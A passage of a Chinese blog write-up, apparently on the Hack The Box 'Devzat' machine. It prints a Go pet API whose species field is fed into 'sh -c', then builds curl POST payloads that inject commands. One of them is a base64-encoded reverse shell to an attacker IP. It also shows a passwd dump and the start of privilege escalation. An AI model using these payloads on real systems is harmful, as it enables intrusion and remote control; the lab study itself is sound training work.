class="code-snippet_outer">)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//go:embed static/public</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">var</span> web embed.FS</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//go:embed static/public/index.html</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">var</span> index []<span class="code-snippet__keyword">byte</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">type</span> Pet <span class="code-snippet__keyword">struct</span> {</span></code><code><span class="code-snippet_outer">        Name            <span class="code-snippet__keyword">string</span> <span class="code-snippet__string">`json:&#34;name&#34;`</span></span></code><code><span class="code-snippet_outer">        Species         <span class="code-snippet__keyword">string</span> <span class="code-snippet__string">`json:&#34;species&#34;`</span></span></code><code><span class="code-snippet_outer">        Characteristics <span class="code-snippet__keyword">string</span> <span class="code-snippet__string">`json:&#34;characteristics&#34;`</span></span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">var</span> (</span></code><code><span class="code-snippet_outer">        Pets []Pet = []Pet{</span></code><code><span class="code-snippet_outer">                {Name: <span class="code-snippet__string">&#34;Cookie&#34;</span>, Species: <span class="code-snippet__string">&#34;cat&#34;</span>, Characteristics: loadCharacter(<span class="code-snippet__string">&#34;cat&#34;</span>)},</span></code><code><span class="code-snippet_outer">                {Name: <span class="code-snippet__string">&#34;Mia&#34;</span>, Species: <span class="code-snippet__string">&#34;cat&#34;</span>, Characteristics: loadCharacter(<span class="code-snippet__string">&#34;cat&#34;</span>)},</span></code><code><span class="code-snippet_outer">                {Name: <span class="code-snippet__string">&#34;Chuck&#34;</span>, Species: <span class="code-snippet__string">&#34;dog&#34;</span>, Characteristics: loadCharacter(<span class="code-snippet__string">&#34;dog&#34;</span>)},</span></code><code><span class="code-snippet_outer">                {Name: <span class="code-snippet__string">&#34;Balu&#34;</span>, Species: <span class="code-snippet__string">&#34;dog&#34;</span>, Characteristics: loadCharacter(<span class="code-snippet__string">&#34;dog&#34;</span>)},</span></code><code><span class="code-snippet_outer">                {Name: <span class="code-snippet__string">&#34;Georg&#34;</span>, Species: <span class="code-snippet__string">&#34;gopher&#34;</span>, Characteristics: loadCharacter(<span class="code-snippet__string">&#34;gopher&#34;</span>)},</span></code><code><span class="code-snippet_outer">                {Name: <span class="code-snippet__string">&#34;Gustav&#34;</span>, Species: <span class="code-snippet__string">&#34;giraffe&#34;</span>, Characteristics: loadCharacter(<span class="code-snippet__string">&#34;giraffe&#34;</span>)},</span></code><code><span class="code-snippet_outer">                {Name: <span class="code-snippet__string">&#34;Rudi&#34;</span>, Species: <span class="code-snippet__string">&#34;redkite&#34;</span>, Characteristics: loadCharacter(<span class="code-snippet__string">&#34;redkite&#34;</span>)},</span></code><code><span class="code-snippet_outer">                {Name: <span class="code-snippet__string">&#34;Bruno&#34;</span>, Species: <span class="code-snippet__string">&#34;bluewhale&#34;</span>, Characteristics: loadCharacter(<span class="code-snippet__string">&#34;bluewhale&#34;</span>)},</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">func</span> <span class="code-snippet__title">loadCharacter</span><span class="code-snippet__params">(species <span class="code-snippet__keyword">string</span>)</span> <span class="code-snippet__title">string</span></span> {</span></code><code><span class="code-snippet_outer">        cmd := exec.Command(<span class="code-snippet__string">&#34;sh&#34;</span>, <span class="code-snippet__string">&#34;-c&#34;</span>, <span class="code-snippet__string">&#34;cat characteristics/&#34;</span>+species)</span></code><code><span class="code-snippet_outer">        stdoutStderr, err := cmd.CombinedOutput()</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> err != <span class="code-snippet__literal">nil</span> {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">return</span> err.Error()</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">string</span>(stdoutStderr)</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">func</span> <span class="code-snippet__title">getPets</span><span class="code-snippet__params">(w http.ResponseWriter, r *http.Request)</span></span> {</span></code><code><span class="code-snippet_outer">        json.NewEncoder(w).Encode(Pets)</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">func</span> <span class="code-snippet__title">addPet</span><span class="code-snippet__params">(w http.ResponseWriter, r *http.Request)</span></span> {</span></code><code><span class="code-snippet_outer">        reqBody, _ := ioutil.ReadAll(r.Body)</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">var</span> addPet Pet</span></code><code><span class="code-snippet_outer">        err := json.Unmarshal(reqBody, &amp;addPet)</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> err != <span class="code-snippet__literal">nil</span> {</span></code><code><span class="code-snippet_outer">                e := fmt.Sprintf(<span class="code-snippet__string">&#34;There has been an error: %+v&#34;</span>, err)</span></code><code><span class="code-snippet_outer">                http.Error(w, e, http.StatusBadRequest)</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">return</span></span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        addPet.Characteristics = loadCharacter(addPet.Species)</span></code><code><span class="code-snippet_outer">        Pets = <span class="code-snippet__built_in">append</span>(Pets, addPet)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        w.WriteHeader(http.StatusOK)</span></code><code><span class="code-snippet_outer">        fmt.Fprint(w, <span class="code-snippet__string">&#34;Pet was added successfully&#34;</span>)</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">func</span> <span class="code-snippet__title">handleRequest</span><span class="code-snippet__params">()</span></span> {</span></code><code><span class="code-snippet_outer">        build, err := fs.Sub(web, <span class="code-snippet__string">&#34;static/public/build&#34;</span>)</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> err != <span class="code-snippet__literal">nil</span> {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__built_in">panic</span>(err)</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        css, err := fs.Sub(web, <span class="code-snippet__string">&#34;static/public/css&#34;</span>)</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> err != <span class="code-snippet__literal">nil</span> {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__built_in">panic</span>(err)</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        webfonts, err := fs.Sub(web, <span class="code-snippet__string">&#34;static/public/webfonts&#34;</span>)</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> err != <span class="code-snippet__literal">nil</span> {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__built_in">panic</span>(err)</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        spaHandler := http.HandlerFunc(spaHandlerFunc)</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// Single page application handler</span></span></code><code><span class="code-snippet_outer">        http.Handle(<span class="code-snippet__string">&#34;/&#34;</span>, headerMiddleware(spaHandler))</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// All static folder handler</span></span></code><code><span class="code-snippet_outer">        http.Handle(<span class="code-snippet__string">&#34;/build/&#34;</span>, headerMiddleware(http.StripPrefix(<span class="code-snippet__string">&#34;/build&#34;</span>, http.FileServer(http.FS(build)))))</span></code><code><span class="code-snippet_outer">        http.Handle(<span class="code-snippet__string">&#34;/css/&#34;</span>, headerMiddleware(http.StripPrefix(<span class="code-snippet__string">&#34;/css&#34;</span>, http.FileServer(http.FS(css)))))</span></code><code><span class="code-snippet_outer">        http.Handle(<span class="code-snippet__string">&#34;/webfonts/&#34;</span>, headerMiddleware(http.StripPrefix(<span class="code-snippet__string">&#34;/webfonts&#34;</span>, http.FileServer(http.FS(webfonts)))))</span></code><code><span class="code-snippet_outer">        http.Handle(<span class="code-snippet__string">&#34;/.git/&#34;</span>, headerMiddleware(http.StripPrefix(<span class="code-snippet__string">&#34;/.git&#34;</span>, http.FileServer(http.Dir(<span class="code-snippet__string">&#34;.git&#34;</span>)))))</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// API routes</span></span></code><code><span class="code-snippet_outer">        apiHandler := http.HandlerFunc(petHandler)</span></code><code><span class="code-snippet_outer">        http.Handle(<span class="code-snippet__string">&#34;/api/pet&#34;</span>, headerMiddleware(apiHandler))</span></code><code><span class="code-snippet_outer">        log.Fatal(http.ListenAndServe(<span class="code-snippet__string">&#34;127.0.0.1:5000&#34;</span>, <span class="code-snippet__literal">nil</span>))</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">func</span> <span class="code-snippet__title">spaHandlerFunc</span><span class="code-snippet__params">(w http.ResponseWriter, r *http.Request)</span></span> {</span></code><code><span class="code-snippet_outer">        w.WriteHeader(http.StatusOK)</span></code><code><span class="code-snippet_outer">        w.Write(index)</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">func</span> <span class="code-snippet__title">petHandler</span><span class="code-snippet__params">(w http.ResponseWriter, r *http.Request)</span></span> {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// Dispatch by method</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> r.Method == http.MethodPost {</span></code><code><span class="code-snippet_outer">                addPet(w, r)</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> r.Method == http.MethodGet {</span></code><code><span class="code-snippet_outer">                getPets(w, r)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">                http.Error(w, <span class="code-snippet__string">&#34;Method not allowed&#34;</span>, http.StatusMethodNotAllowed)</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// <span class="code-snippet__doctag">TODO:</span> Add Update and Delete</span></span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">func</span> <span class="code-snippet__title">headerMiddleware</span><span class="code-snippet__params">(next http.Handler)</span> <span class="code-snippet__title">http</span>.<span class="code-snippet__title">Handler</span></span> {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> http.HandlerFunc(<span class="code-snippet__function"><span class="code-snippet__keyword">func</span><span class="code-snippet__params">(w http.ResponseWriter, r *http.Request)</span></span> {</span></code><code><span class="code-snippet_outer">                w.Header().Add(<span class="code-snippet__string">&#34;Server&#34;</span>, <span class="code-snippet__string">&#34;My genious go pet server&#34;</span>)</span></code><code><span class="code-snippet_outer">                next.ServeHTTP(w, r)</span></code><code><span class="code-snippet_outer">        })</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">func</span> <span class="code-snippet__title">main</span><span class="code-snippet__params">()</span></span> {</span></code><code><span class="code-snippet_outer">        resetTicker := time.NewTicker(<span class="code-snippet__number">5</span> * time.Second)</span></code><code><span class="code-snippet_outer">        done := <span class="code-snippet__built_in">make</span>(<span class="code-snippet__keyword">chan</span> <span class="code-snippet__keyword">bool</span>)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">go</span> <span class="code-snippet__function"><span class="code-snippet__keyword">func</span><span class="code-snippet__params">()</span></span> {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">for</span> {</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">select</span> {</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">case</span> &lt;-done:</span></code><code><span class="code-snippet_outer">                                <span class="code-snippet__keyword">return</span></span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">case</span> &lt;-resetTicker.C:</span></code><code><span class="code-snippet_outer">                                <span class="code-snippet__comment">// Reset Pets to prestaged ones</span></span></code><code><span class="code-snippet_outer">                                Pets = []Pet{</span></code><code><span class="code-snippet_outer">                                        {Name: <span class="code-snippet__string">&#34;Cookie&#34;</span>, Species: <span class="code-snippet__string">&#34;cat&#34;</span>, Characteristics: loadCharacter(<span class="code-snippet__string">&#34;cat&#34;</span>)},</span></code><code><span class="code-snippet_outer">                                        {Name: <span class="code-snippet__string">&#34;Mia&#34;</span>, Species: <span class="code-snippet__string">&#34;cat&#34;</span>, Characteristics: loadCharacter(<span class="code-snippet__string">&#34;cat&#34;</span>)},</span></code><code><span class="code-snippet_outer">                                        {Name: <span class="code-snippet__string">&#34;Chuck&#34;</span>, Species: <span class="code-snippet__string">&#34;dog&#34;</span>, Characteristics: loadCharacter(<span class="code-snippet__string">&#34;dog&#34;</span>)},</span></code><code><span class="code-snippet_outer">                                        {Name: <span class="code-snippet__string">&#34;Balu&#34;</span>, Species: <span class="code-snippet__string">&#34;dog&#34;</span>, Characteristics: loadCharacter(<span class="code-snippet__string">&#34;dog&#34;</span>)},</span></code><code><span class="code-snippet_outer">                                        {Name: <span class="code-snippet__string">&#34;Georg&#34;</span>, Species: <span class="code-snippet__string">&#34;gopher&#34;</span>, Characteristics: loadCharacter(<span class="code-snippet__string">&#34;gopher&#34;</span>)},</span></code><code><span class="code-snippet_outer">                                        {Name: <span class="code-snippet__string">&#34;Gustav&#34;</span>, Species: <span class="code-snippet__string">&#34;giraffe&#34;</span>, Characteristics: loadCharacter(<span class="code-snippet__string">&#34;giraffe&#34;</span>)},</span></code><code><span class="code-snippet_outer">                                        {Name: <span class="code-snippet__string">&#34;Rudi&#34;</span>, Species: <span class="code-snippet__string">&#34;redkite&#34;</span>, Characteristics: loadCharacter(<span class="code-snippet__string">&#34;redkite&#34;</span>)},</span></code><code><span class="code-snippet_outer">                                        {Name: <span class="code-snippet__string">&#34;Bruno&#34;</span>, Species: <span class="code-snippet__string">&#34;bluewhale&#34;</span>, Characteristics: loadCharacter(<span class="code-snippet__string">&#34;bluewhale&#34;</span>)},</span></code><code><span class="code-snippet_outer">                                }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                        }</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">        }()</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        handleRequest()</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        time.Sleep(<span class="code-snippet__number">500</span> * time.Millisecond)</span></code><code><span class="code-snippet_outer">        resetTicker.Stop()</span></code><code><span class="code-snippet_outer">        done &lt;- <span class="code-snippet__literal">true</span></span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code></pre><p cid="n28" mdtype="paragraph"><br/></p><p cid="n28" mdtype="paragraph"><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);">源码比较简单，主要逻辑如下：</span></p><ul class="list-paddingleft-2" cid="n29" mdtype="list" data-mark="-"><li><p cid="n31" mdtype="paragraph"><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);">loadCharacter直接调用了exec.Command(),虽然我不知道这个函数的意思，但是参数是一个命令执行cat。</span></p></li><li><p cid="n33" mdtype="paragraph"><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);">在addPet()函数中调用loadCharacter()且参数可控。</span></p></li><li><p cid="n35" mdtype="paragraph"><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);">在petHandler中当发送请求为POST时，将会执行addPet()</span></p></li><li><p cid="n37" mdtype="paragraph"><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);">在handleRequest()方法中最后将petHandler实例化，设置接口/api/pet。</span></p></li><li><p cid="n39" mdtype="paragraph"><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);">在main()函数中调用了handleRequest()</span></p></li></ul><p cid="n40" mdtype="paragraph" style=""><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);">调用栈如下：</span></p><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">main</span>():</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__selector-tag">handleRequest</span>()</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__selector-tag">petHandler</span>()</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__selector-tag">POST</span> <span class="code-snippet__selector-tag">-</span>&gt; <span class="code-snippet__selector-tag">addHanler</span>()</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__selector-tag">loadCharacter</span>() </span></code><code><span class="code-snippet_outer">          <span class="code-snippet__selector-tag">exec</span><span class="code-snippet__selector-class">.Command</span>()</span></code></pre><p style=""><br/></p><p style=""><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);">尝试构造payload:</span></p><p style=""><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);">sh -c  cat characteristics/ +`curl 10.10.14.50/123`</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="189" data-backw="578" data-galleryid="" data-ratio="0.32556332556332557" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1287" src="https://wechat2rss.xlab.app/img-proxy/?k=3309831e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpoSOMVmKBUI5RsrkVBmH0lYHFccBp5F7YS5oria589mMLmicxW2OLmfoNlJGeOU8AeGBVVPSPpoc7iaA%2F640%3Fwx_fmt%3Dpng"/></p><h3 cid="n46" mdtype="heading" style="margin-top: 1rem;margin-bottom: 1rem;color: rgb(53, 53, 53);box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;font-weight: bold;line-height: 1.43;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: center;background-color: rgb(255, 255, 255);"><span style="font-size: 24px;"><strong style="color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;white-space: normal;"><span style="font-size: 24px;color: rgb(255, 76, 0);">漏洞利用</span></strong></span></h3><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="apache"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">curl</span> http://pets.devzat.htb/api/pet -X POST --data &#39;{<span class="code-snippet__string">&#34;name&#34;</span>:<span class="code-snippet__string">&#34;123&#34;</span>,<span class="code-snippet__string">&#34;species&#34;</span>:<span class="code-snippet__string">&#34;`curl 10.10.14.50/123`&#34;</span>}&#39;</span></code></pre><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="106" data-backw="578" data-galleryid="" data-ratio="0.18247298919567828" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="833" src="https://wechat2rss.xlab.app/img-proxy/?k=4247c355&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpoSOMVmKBUI5RsrkVBmH0lYKVKIc3jfdJgLNOJpaFRk2t2wO188FRWDknEPwISv7R3IHAqKLApfsg%2F640%3Fwx_fmt%3Dpng"/></p><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="apache"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">curl</span> http://pets.devzat.htb/api/pet -X POST --data  &#39;{<span class="code-snippet__string">&#34;name&#34;</span>:<span class="code-snippet__string">&#34;123&#34;</span>,<span class="code-snippet__string">&#34;species&#34;</span>:<span class="code-snippet__string">&#34;`echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNTAvNDQ0NCAwPiYxCg== |base64 -d |bash`&#34;</span>}&#39;</span></code></pre><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="127" data-backw="578" data-galleryid="" data-ratio="0.21998078770413065" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1041" src="https://wechat2rss.xlab.app/img-proxy/?k=77dd3a5d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpoSOMVmKBUI5RsrkVBmH0lY1dYs6XPWrT7TtQZMyeW9jmYyR6KicZBKSibBF64MwzBusdeGpcx7IWyg%2F640%3Fwx_fmt%3Dpng"/></p><p style=""><br/></p><p style=""><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);">发现私钥,尝试连接22端口，失败了？之前的web页面上有说连8000端口 ,而且8000端口开着，作者在这里来了个</span><span style="box-sizing: border-box;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);color: rgb(255, 0, 0);">surprise!!!</span></p><p><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="426" data-backw="578" data-galleryid="" data-ratio="0.7370727432077125" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1141" src="https://wechat2rss.xlab.app/img-proxy/?k=35aee419&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpoSOMVmKBUI5RsrkVBmH0lY2uO9O4YfguWt8t5GeEgdhZw1CJQl9bwCvv7CwV4yqvXjxA18L6RyxQ%2F640%3Fwx_fmt%3Dpng"/></p><h3 cid="n54" mdtype="heading" style="margin-top: 1rem;margin-bottom: 1rem;color: rgb(53, 53, 53);box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;font-weight: bold;line-height: 1.43;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: center;background-color: rgb(255, 255, 255);"><span style="font-size: 24px;"><strong style="color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;white-space: normal;"><span style="font-size: 24px;color: rgb(255, 76, 0);">权限提升</span></strong></span></h3><h4 cid="n55" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">patrick -&gt; catherine</span></h4><p cid="n56" mdtype="paragraph"><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);">先不看这个信息收集一下</span></p><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="ruby"><code><span class="code-snippet_outer"><span class="code-snippet__symbol">root:</span><span class="code-snippet__symbol">x:</span><span class="code-snippet__number">0</span><span class="code-snippet__symbol">:</span><span class="code-snippet__number">0</span><span class="code-snippet__symbol">:root</span><span class="code-snippet__symbol">:/root</span><span class="code-snippet__symbol">:/bin/bash</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__symbol">sync:</span><span class="code-snippet__symbol">x:</span><span class="code-snippet__number">4</span><span class="code-snippet__symbol">:</span><span class="code-snippet__number">65534</span><span class="code-snippet__symbol">:sync</span><span class="code-snippet__symbol">:/bin</span><span class="code-snippet__symbol">:/bin/sync</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__symbol">patrick:</span><span class="code-snippet__symbol">x:</span><span class="code-snippet__number">1000</span><span class="code-snippet__symbol">:</span><span class="code-snippet__number">1000</span><span class="code-snippet__symbol">:patrick</span><span class="code-snippet__symbol">:/home/patrick</span><span class="code-snippet__symbol">:/bin/bash</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__symbol">catherine:</span><span class="code-snippet__symbol">x:</span><span class="code-snippet__number">1001</span><span class="code-snippet__symbol">:</span><span class="code-snippet__number">1001</span><span class="code-snippet__symbol">:catherine</span>,,,<span class="code-snippet__symbol">:/home/catherine</span><span class="code-snippet__symbol">:/bin/bash</span></span></code></pre><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer"><span class="code-snippet__meta">[+]</span> <span class="code-snippet__string">Looks like we&#39;re hosting Docker:</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">Docker</span> <span class="code-snippet__string">version 20.10.7, build f0df350</span></span></code></pre><ul class="code-snippet__line-index 